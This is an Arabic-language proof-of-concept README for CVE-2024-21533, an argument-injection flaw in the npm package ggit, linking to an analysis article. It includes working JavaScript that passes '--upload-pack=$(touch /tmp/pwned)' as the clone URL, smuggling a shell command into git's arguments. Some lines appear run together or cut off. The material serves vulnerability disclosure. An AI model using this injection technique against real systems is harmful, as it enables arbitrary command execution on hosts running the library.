
إثبات المفهوم لـ CVE-2024-21533 ggit
يصف ggit نفسه بأنه:
Local promise-returning git command wrappers
الموارد:
مقالة تحليلية حول ثغرة حقن الوسائط هذه: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
أُبلغ عن ثغرة حقن وسائط في حزمة npm ggit.
تظهر هذه الثغرة من خلال واجهة برمجة التطبيقات clone() في المكتبة،
والتي تسمح بتحديد عنوان URL البعيد للاستنساخ والملف على القرص للاستنساخ إليه.
غير أن المكتبة لا تعقّم مدخلات المستخدم ولا تتحقق من صحة مخطط عنوان URL،
كما أنها لا تمرّر علامات سطر الأوامر بشكل صحيح إلى ثنائي git باستخدام أحرف POSIX
ذات الشرطة المزدوجة (--) للدلالة على نهاية الخيارات.
وبالتالي، يُتيح ذلك للمستخدمين استغلال ثغرة حقن وسائط في Git بسبب
خيار سطر الأوامر --upload-pack الذي يؤدي إلى تنفيذ أوامر عشوائية.
(outPath) للاستنساخ إليه، عندها تنطبق الثغرة.
[email protected] أو إصدارًا أقدمconst clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});
/tmp/pwnedيُرجى الاطلاع على CONTRIBUTING للاطلاع على إرشادات المساهمة في هذا المشروع.
Liran Tal